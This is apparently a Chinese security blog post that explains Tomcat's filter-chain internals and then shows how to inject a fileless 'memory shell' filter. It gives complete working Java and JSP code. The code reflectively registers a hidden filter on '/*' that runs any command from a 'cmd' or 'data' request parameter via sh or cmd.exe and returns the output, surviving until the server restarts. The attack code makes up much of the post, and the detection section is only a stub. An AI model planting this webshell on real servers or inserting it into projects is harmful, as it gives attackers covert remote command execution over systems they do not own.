Tomcat MemoryShell Of Filter

Preparation

ServletContext

Servlet规范中规定了的一个ServletContext接口,其提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。Web容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用,并且它被所有客户端共享。

动态注册filter时需要添加filter相关的函数,而ServletContext恰好可以满足这个条件。javax.servlet.servletContext中存在addFilter、addServlet和addListener方法,即对应实现添加Filter、Servlet和Listener。

获取ServletContext的方法有:

  • this.getServletContext()

  • this.getimg/ServletConfig().getServletContext();

可以看到,获取到的实际上是一个ApplicationContextFacade对象,且该对象是对ApplicationContext实例的封装。

ApplicationContext

对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。

在Tomcat中,org.apache.catalina.core.ApplicationContext中包含一个ServletContext接口的实现,所以需要引入org.apache.catalina.core.ApplicationContext这个库,用它获取上下文StandardContext。

StandardContext

Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际上,并不是由StandardContext来进行处理,而是交给内部的valve进行处理。

一个Context表示了一个外部应用,它包含多个Wrapper,每个Wrapper表示一个Servlet定义。(Tomcat默认的Service服务是Catalina)

名称 说明
filterMaps 变量 存放FilterMap的数组,在FilterMap中主要存放了FilterName和对应的URLPattern
filterDefs 变量 存放FilterDef的数组,FilterDef中存储着我们过滤器名,过滤器实例等基本信息
filterConfigs 变量 存放filterConfig的数组,在FilterConfig中主要存放FilterDef和Filter对象等信息
FilterChain 变量 过滤器链,该对象上的doFilter方法能依次调用链上的Filter
ApplicationFilterChain 调用过滤器链
ApplicationFilterConfig 获取过滤器
ApplicationFilterFactory 组装过滤器链
StandardContext Context接口的标准实现类,一个Context代表一个Web应用,其下可以包含多个Wrapper
StandardWrapperValve Wrapper的标准实现类,一个Wrapper代表一个Servlet

Process Analysis

  • 环境搭建
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package servlet;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet(name = "HelloServlet", value = "/HelloServlet")
public class HelloServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
PrintWriter writer = response.getWriter();
writer.println("This is HelloServlet Page.");
}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package filter;

import javax.servlet.*;
import javax.servlet.annotation.*;
import java.io.IOException;

@WebFilter(filterName = "HelloFilter", urlPatterns = "/HelloServlet")
public class HelloFilter implements Filter {
public void init(FilterConfig config) {
System.out.println("Filter init...");
}

public void destroy() {
System.out.println("Filter Destroy...");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
System.out.println("Filter Start...");
chain.doFilter(request, response);
}
}

在doFilter中下个断点,堆栈信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
doFilter:19, HelloFilter (filter)
internalDoFilter:181, ApplicationFilterChain (org.apache.catalina.core)
doFilter:156, ApplicationFilterChain (org.apache.catalina.core)
invoke:167, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:494, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:682, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:617, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:932, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1695, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

在堆栈信息中可以看到Container容器中四种子容器的调用,StandardEngineValve->StandardHostValve->StandardContextValve->StandardWrapperValve。往前回溯一下,跟进org.apache.catalina.core.StandardWrapperValve#invoke,可以看到其创建了一个FilterChain,接着调用它的doFilter方法。

这里跟进一下org.apache.catalina.core.ApplicationFilterFactory#createFilterChain方法,看看是如何创建filterChain的。首先对传入的ServletRequest对象进行判断,若为Request实例,则进一步从其中获取filterChain,若filterChain不存在,则创建一个并设置到Request对象内。

接着从wrapper中获取StandardContext对象,调用org.apache.catalina.core.StandardContext#findFilterMaps方法获取filterMaps。

当获取到的filterMaps不为空时,对filterMaps进行遍历,调用getFilterName方法来获取filterName,把获取到的filterName传入org.apache.catalina.core.StandardContext#findFilterConfig方法中来获取filterConfig,并将获取到的filterConfig添加进filterChain中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {

// If there is no servlet to execute, return null
if (servlet == null)
return null;

// Create and initialize a filter chain object
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request) request;
if (Globals.IS_SECURITY_ENABLED) {
// Security: Do not recycle
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain) req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
// Request dispatcher in use
filterChain = new ApplicationFilterChain();
}

filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

// If there are no filter mappings, we are done
if ((filterMaps == null) || (filterMaps.length == 0))
return (filterChain);

// Acquire the information we will need to match filter mappings
DispatcherType dispatcher =
(DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

String requestPath = null;
Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
if (attribute != null){
requestPath = attribute.toString();
}

String servletName = wrapper.getName();

// Add the relevant path-mapped filters to this filter chain
for (int i = 0; i < filterMaps.length; i++) {
if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMaps[i], requestPath))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}

// Add filters that match on servlet name second
for (int i = 0; i < filterMaps.length; i++) {
if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMaps[i], servletName))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}

// Return the completed filter chain
return filterChain;
}

继续前面的堆栈分析,跟进org.apache.catalina.core.ApplicationFilterChain#doFilter方法,其先检查JVM是否开启安全模式,由于这里为false,因此会进入else语句中调用internalDoFilter方法。

跟进org.apache.catalina.core.ApplicationFilterChain#internalDoFilter方法,先从this,filters数组中依次取出filterConfig对象,接着调用org.apache.catalina.core.ApplicationFilterConfig#getFilter方法获取Filter实例,最后调用其doFilter方法。

上文中分析了创建filterChain时主要依赖于filterMaps,接下来看看如何向filterMaps中添加恶意的filterMap。在org.apache.catalina.core.StandardContext中有两个方法可以向filterMaps中添加filterMap,分别是addFilterMap方法和addFilterMapBefore方法。

跟进org.apache.catalina.core.StandardContext#validateFilterMap方法,该方法会对传入的filterMap进行判断,若this.findFilterDef == null时则会抛出异常,因此在构造时,需要注意构造符合要求的filterDef。

上文中提到的filterMap、filterDef都与filterConfig相关,而org.apache.catalina.core.StandardContext中与filterConfig相关的操作只有filterStart和filterStop方法,因此在应用运行时,只能采用反射的方式来动态修改filterConfigs的值。

Achievement

Idea

动态注入Filter内存马的具体思路如下:

  • 调用ApplicationContext的addFilter方法创建filterDefs对象,需要反射修改应用程序的运行状态,加完之后再改回来;
  • 调用StandardContext的filterStart方法生成filterConfigs;
  • 调用ApplicationFilterRegistration的addMappingForUrlPatterns生成filterMaps。

同时,为了兼容某些特殊情况比如Shiro,需要将加入的filter放在filterMaps的第一位,可以自行修改HashMap中的顺序,也可以在调用StandardContext的addFilterMapBefore时直接加在filterMaps的第一位。

Demo

先简单实现一个恶意的Filter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package filter;

import javax.servlet.*;
import javax.servlet.annotation.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

@WebFilter(filterName = "EvilFilter", urlPatterns = "/*")
public class EvilFilter implements Filter {
public void init(FilterConfig config) throws ServletException {
}

public void destroy() {
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;

if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osProperty = System.getProperty("os.name");
if (osProperty != null && osProperty.toLowerCase().contains("win")) {
isLinux = false;
}

String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t");
String output = scanner.hasNext() ? scanner.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}

chain.doFilter(request, response);
}
}

Dynamic Registration

根据上文的分析,动态注入filter型内存马需要经过以下步骤:

  • 创建恶意filter
  • 用filterDef对filter进行封装
  • 将filterDef添加到filterDefs跟filterConfigs中
  • 创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中

每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,因此内存马便可以一直驻留下去,直到Tomcat重启后失效。

Servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
package servlet;

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;

@WebServlet(name = "EvilServlet", value = "/EvilServlet")
public class EvilServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
super.doGet(request, response);
}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
try {
// 通过反射获取standardContext
ServletContext servletContext = request.getSession().getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(applicationContext);

String filterName = "h3rmesk1t";
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
Map filterConfigsMap = (Map) filterConfigs.get(standardContext);

// 设置恶意的Filter
if (filterConfigsMap.get(filterName) == null) {
Filter filter = new Filter() {
@Override
public void init(FilterConfig config) {
}

@Override
public void destroy() {
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
HttpServletRequest httpServletRequest = (HttpServletRequest) request;
HttpServletResponse httpServletResponse = (HttpServletResponse) response;

if (httpServletRequest.getParameter("cmd") != null) {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}

String[] command = isLinux ? new String[]{"sh", "-c", httpServletRequest.getParameter("cmd")} : new String[]{"cmd.exe", "/c", httpServletRequest.getParameter("cmd")};
InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t");
String output = scanner.hasNext() ? scanner.next() : "";
httpServletResponse.getWriter().write(output);
httpServletResponse.getWriter().flush();
return;
}
chain.doFilter(request, response);
}
};

// 反射获取FilterDef, 设置filter名等参数, 调用addFilterDef添加FilterDef
Class<?> filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor<?> filterDefDeclaredConstructor = filterDef.getDeclaredConstructor();
filterDefDeclaredConstructor.setAccessible(true);
FilterDef filterDef1 = (FilterDef) filterDefDeclaredConstructor.newInstance();
filterDef1.setFilter(filter);
filterDef1.setFilterName(filterName);
filterDef1.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef1);

// 反射获取FilterMap并设置拦截路径, 调用addFilterMapBefore添加FilterMap
Class<?> filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> filterMapDeclaredConstructor = filterMap.getDeclaredConstructor();
filterMapDeclaredConstructor.setAccessible(true);
FilterMap filterMap1 = (FilterMap) filterMapDeclaredConstructor.newInstance();
filterMap1.addURLPattern("/*");
filterMap1.setFilterName(filterName);
filterMap1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap1);

// 反射获取ApplicationFilterConfig
Class<?> applicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> applicationFilterConfigDeclaredConstructor = applicationFilterConfig.getDeclaredConstructor(Context.class, FilterDef.class);
applicationFilterConfigDeclaredConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig1 = (ApplicationFilterConfig) applicationFilterConfigDeclaredConstructor.newInstance(standardContext, filterDef1);

// 向从StandardContext获取的FilterConfigs中添加恶意的FilterConfig
filterConfigsMap.put(filterName, applicationFilterConfig1);
response.getWriter().write("Filter Inject Successfully...");
}
} catch (Exception e) {
e.printStackTrace();
}
}
}

JSP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
// 通过反射获取standardContext
ServletContext servletContext = request.getSession().getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(applicationContext);

String filterName = "h3rmesk1t";
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
Map filterConfigsMap = (Map) filterConfigs.get(standardContext);

// 设置恶意的Filter
if (filterConfigsMap.get(filterName) == null) {
Filter filter = new Filter() {
@Override
public void init(FilterConfig config) {
}

@Override
public void destroy() {
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
HttpServletRequest httpServletRequest = (HttpServletRequest) request;
HttpServletResponse httpServletResponse = (HttpServletResponse) response;

if (httpServletRequest.getParameter("data") != null) {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}

String[] command = isLinux ? new String[]{"sh", "-c", httpServletRequest.getParameter("data")} : new String[]{"cmd.exe", "/c", httpServletRequest.getParameter("data")};
InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t");
String output = scanner.hasNext() ? scanner.next() : "";
httpServletResponse.getWriter().write(output);
httpServletResponse.getWriter().flush();
return;
}
chain.doFilter(request, response);
}
};

// 反射获取FilterDef, 设置filter名等参数, 调用addFilterDef添加FilterDef
Class<?> filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor<?> filterDefDeclaredConstructor = filterDef.getDeclaredConstructor();
filterDefDeclaredConstructor.setAccessible(true);
FilterDef filterDef1 = (FilterDef) filterDefDeclaredConstructor.newInstance();
filterDef1.setFilter(filter);
filterDef1.setFilterName(filterName);
filterDef1.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef1);

// 反射获取FilterMap并设置拦截路径, 调用addFilterMapBefore添加FilterMap
Class<?> filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> filterMapDeclaredConstructor = filterMap.getDeclaredConstructor();
filterMapDeclaredConstructor.setAccessible(true);
FilterMap filterMap1 = (FilterMap) filterMapDeclaredConstructor.newInstance();
filterMap1.addURLPattern("/*");
filterMap1.setFilterName(filterName);
filterMap1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap1);

// 反射获取ApplicationFilterConfig
Class<?> applicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> applicationFilterConfigDeclaredConstructor = applicationFilterConfig.getDeclaredConstructor(Context.class, FilterDef.class);
applicationFilterConfigDeclaredConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig1 = (ApplicationFilterConfig) applicationFilterConfigDeclaredConstructor.newInstance(standardContext, filterDef1);

// 向从StandardContext获取的FilterConfigs中添加恶意的FilterConfig
filterConfigsMap.put(filterName, applicationFilterConfig1);
out.println("Filter Inject Successfully...");
}
%>

Check MemoryShell

这里先mark几款工具,后续对内存马查杀进行进一步的学习: